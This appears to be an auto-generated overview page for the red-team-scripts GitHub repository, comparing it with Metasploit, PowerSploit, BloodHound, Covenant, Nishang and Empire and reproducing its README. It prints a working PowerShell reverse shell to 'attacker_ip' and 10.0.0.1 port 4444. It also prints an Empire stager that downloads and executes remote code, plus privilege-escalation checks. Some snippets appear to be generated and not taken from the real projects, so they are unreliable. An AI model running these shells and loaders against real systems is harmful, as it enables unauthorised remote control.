Convert Figma logo to code with AI

threatexpress logored-team-scripts

A collection of Red Team focused tools, scripts, and notes

1,105
191
1,105
0

Top Related Projects

Metasploit Framework

PowerSploit - A PowerShell Post-Exploitation Framework

Six Degrees of Domain Admin

Covenant is a collaborative .NET C2 framework for red teamers.

8,654

Nishang - Offensive PowerShell for red team, penetration testing and offensive security.

7,394

Empire is a PowerShell and Python post-exploitation agent.

Quick Overview

The threatexpress/red-team-scripts repository is a collection of scripts and tools designed for red team operations and penetration testing. It provides various utilities for reconnaissance, exploitation, and post-exploitation activities, aimed at helping security professionals simulate real-world attacks and assess an organization's security posture.

Pros

  • Diverse set of tools covering multiple aspects of red team operations
  • Regularly updated with new scripts and improvements
  • Well-documented scripts with clear usage instructions
  • Contributions from multiple security professionals, ensuring a wide range of expertise

Cons

  • Some scripts may require additional dependencies or specific environments
  • Not all scripts are actively maintained or updated
  • Potential for misuse if not used responsibly or in authorized testing scenarios
  • Limited support for some less common operating systems or environments

Code Examples

  1. Nmap XML Parser (Python):
from libnmap.parser import NmapParser

nmap_report = NmapParser.parse_fromfile('nmap_results.xml')
for host in nmap_report.hosts:
    print(f"Host: {host.address}")
    for service in host.services:
        print(f"  Port {service.port}/{service.protocol}: {service.state}")

This script parses Nmap XML output and displays host information and open ports.

  1. PowerShell Reverse Shell:
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

This PowerShell script establishes a reverse shell connection to a specified IP address and port.

  1. Linux Privilege Escalation Check (Bash):
#!/bin/bash

echo "Checking for SUID binaries..."
find / -perm -4000 -type f 2>/dev/null

echo "Checking for writable directories in PATH..."
echo $PATH | tr ':' '\n' | xargs -I {} find {} -writable 2>/dev/null

echo "Checking for vulnerable kernel versions..."
uname -a

This Bash script performs basic privilege escalation checks on a Linux system.

Getting Started

To use the scripts in this repository:

  1. Clone the repository:

    git clone https://github.com/threatexpress/red-team-scripts.git
    
  2. Navigate to the desired script directory:

    cd red-team-scripts/<script_directory>
    
  3. Review the script's README or comments for usage instructions and any required dependencies.

  4. Execute the script with appropriate permissions and arguments:

    python3 script_name.py [arguments]
    

    or

    ./script_name.sh [arguments]
    

Remember to use these scripts responsibly and only in authorized testing environments.

Competitor Comparisons

Metasploit Framework

Pros of Metasploit-framework

  • Extensive collection of exploits and payloads for various platforms
  • Active community and regular updates
  • Well-documented and supported by Rapid7

Cons of Metasploit-framework

  • Larger footprint and more complex to set up
  • May be detected by antivirus software more easily
  • Steeper learning curve for beginners

Code comparison

Red-team-scripts:

function Invoke-PowerShellTcp 
{ 
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="bind")]
        [String]
        $IPAddress,

Metasploit-framework:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,

The code snippets show that Red-team-scripts focuses on PowerShell-based tools, while Metasploit-framework uses Ruby for its modules. Metasploit offers a more structured framework for exploit development, whereas Red-team-scripts provides individual scripts for specific tasks.

PowerSploit - A PowerShell Post-Exploitation Framework

Pros of PowerSploit

  • More comprehensive and extensive collection of PowerShell scripts for penetration testing
  • Well-established and widely recognized in the cybersecurity community
  • Includes advanced post-exploitation modules and privilege escalation techniques

Cons of PowerSploit

  • Less frequently updated, with the last commit being several years old
  • May contain outdated techniques that are more easily detected by modern security solutions
  • Larger codebase, which can be overwhelming for beginners

Code Comparison

PowerSploit (Get-GPPPassword.ps1):

function Get-GPPPassword {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory=$false,
        HelpMessage="Credentials to use when connecting to a Domain Controller.")]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty
    )

red-team-scripts (Get-GPPPassword.ps1):

function Get-GPPPassword {
[CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$true)]
        [String[]]$Server = $Env:USERDNSDOMAIN
    )

Both repositories contain scripts for retrieving Group Policy Preferences (GPP) passwords, but PowerSploit's implementation includes additional credential handling functionality.

Six Degrees of Domain Admin

Pros of BloodHound

  • Provides comprehensive Active Directory attack path visualization
  • Offers a user-friendly GUI for easier analysis and reporting
  • Integrates with various data collection tools (SharpHound, BloodHound.py)

Cons of BloodHound

  • Focused specifically on Active Directory, limiting its scope
  • Requires more setup and resources compared to lightweight scripts
  • May be overkill for smaller engagements or specific tasks

Code Comparison

BloodHound (Cypher query example):

MATCH (u:User {name: 'JOHN@DOMAIN.COM'})
MATCH (c:Computer)
MATCH p = shortestPath((u)-[*1..]->(c))
RETURN p

Red Team Scripts (PowerShell example):

Get-NetUser -Domain "domain.com" | 
    Where-Object {$_.memberof -match "Domain Admins"} | 
    Select-Object samaccountname, name, lastlogon

BloodHound offers more complex querying capabilities for AD environments, while Red Team Scripts provides a collection of versatile scripts for various red team tasks. BloodHound is more specialized and feature-rich for AD analysis, whereas Red Team Scripts offers a broader range of tools for different aspects of red teaming.

Covenant is a collaborative .NET C2 framework for red teamers.

Pros of Covenant

  • More comprehensive C2 framework with GUI interface
  • Supports .NET-based Implants for enhanced flexibility
  • Active development with frequent updates and community support

Cons of Covenant

  • Steeper learning curve due to complexity
  • Requires more setup and infrastructure compared to simple scripts
  • May be overkill for basic red team operations

Code Comparison

Covenant (C# Implant example):

public class ImplantTemplate : Implant
{
    public override void Start()
    {
        // Implant initialization code
    }
}

Red Team Scripts (PowerShell example):

function Invoke-Recon {
    # Simple reconnaissance script
    Get-ComputerInfo
}

Summary

Covenant is a full-featured C2 framework offering advanced capabilities and a GUI, while Red Team Scripts provides a collection of individual scripts for specific tasks. Covenant is better suited for complex, long-term engagements, whereas Red Team Scripts offers simplicity and ease of use for quick, targeted operations. The choice between them depends on the specific requirements of the red team engagement and the operator's expertise level.

8,654

Nishang - Offensive PowerShell for red team, penetration testing and offensive security.

Pros of Nishang

  • More comprehensive collection of PowerShell scripts for penetration testing and offensive security
  • Actively maintained with regular updates and contributions
  • Includes a wider range of tools for various stages of penetration testing

Cons of Nishang

  • Primarily focused on PowerShell, limiting its use in non-Windows environments
  • May require more setup and configuration for some scripts compared to Red Team Scripts
  • Some scripts may be detected by antivirus software due to their popularity

Code Comparison

Nishang (Get-Information.ps1):

function Get-Information
{
    [CmdletBinding()] Param()
    $output = "$env:COMPUTERNAME`n"
    $output = $output + "Current User: $env:USERNAME`n"
    $output = $output + "IP Address: $((Get-NetIPAddress).IPAddress -join ', ')`n"
    $output
}

Red Team Scripts (get_system_info.py):

import platform
import socket

def get_system_info():
    print(f"Hostname: {socket.gethostname()}")
    print(f"IP Address: {socket.gethostbyname(socket.gethostname())}")
    print(f"OS: {platform.system()} {platform.release()}")

Both repositories provide valuable tools for red team operations and penetration testing. Nishang offers a more extensive collection of PowerShell scripts, while Red Team Scripts includes a mix of Python and PowerShell tools. The choice between them depends on the specific requirements of the engagement and the target environment.

7,394

Empire is a PowerShell and Python post-exploitation agent.

Pros of Empire

  • More comprehensive and feature-rich post-exploitation framework
  • Actively maintained with regular updates and community support
  • Extensive documentation and usage examples

Cons of Empire

  • Larger footprint and potentially easier to detect
  • Steeper learning curve for beginners
  • May be overkill for simpler red team operations

Code Comparison

Empire (PowerShell stager):

$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server:8080/launcher');

red-team-scripts (PowerShell reverse shell):

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};$client.Close()

Both repositories offer valuable tools for red team operations, but Empire provides a more comprehensive framework while red-team-scripts offers simpler, focused scripts for specific tasks.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

Red Team Scripts


Red Team Scripts is a collection of red teaming related tools, scripts, techniques, and notes developed or discovered over time during engagements. Related tool release blog posts can be found at Threat Express an Information Security and Red Teaming Blog

Situational Awareness

Perform situational awareness on a local host or domain upon initial compromise.

enumerate.cna

Cobalt Strike Aggressor script function and alias to perform some rudimentary Windows host enumeration with Beacon built-in commands (i.e. no Powershell, binary calls, or process injection). Additionally, adds a basic enumerate alias for Linux based systems in SSH sessions.

Invoke-HostEnum

Author: Andrew Chiles (@andrewchiles) with code by harmj0y, Joe Bialek, rvrsh3ll, Beau Bullock, Tim Medin

A PowerShell v2.0 compatible script comprised of multiple system enumeration / situational awareness techniques collected over time. If system is a member of a Windows domain, it can also perform limited domain enumeration with the -Domain switch. However, domain enumeration is significantly limited with the intention that PowerView or BoodHound could also be used.

Enumerated Information:

  • OS Details, Hostname, Uptime, Installdate
  • Installed Applications and Patches
  • Network Adapter Configuration, Network Shares, Connections, Routing Table, DNS Cache
  • Running Processes and Installed Services
  • Interesting Registry Entries
  • Local Users, Groups, Administrators
  • Personal Security Product Status
  • Interesting file locations and keyword searches via file indexing
  • Interesting Windows Logs (User logins)
  • Basic Domain enumeration (users, groups, trusts, domain controllers, account policy, SPNs)

Privilege Escalation

Optionally performs Privilege Escalation functions from PowerUp in the PowerSploit project.

Empire 2.0 Integration

Use the accompanying hostenum.py script to include Invoke-HostEnum as post-exploitation situational awarness module in Empire. Both files need to be copied to the appropriate locations in Empire.

Credits:

Several functions are inspired or pulled directly from the following projects and are referenced in the code where applicable:

Usage

Refer to the help and comments in each script for detailed usage information.

License

This project and all individual scripts are under the BSD 3-Clause license

Links

threatexpress.com http://threatexpress.com/blogs/2018/hostenum-updates-usage/ http://threatexpress.com/blogs/2017/invoke-hostenum/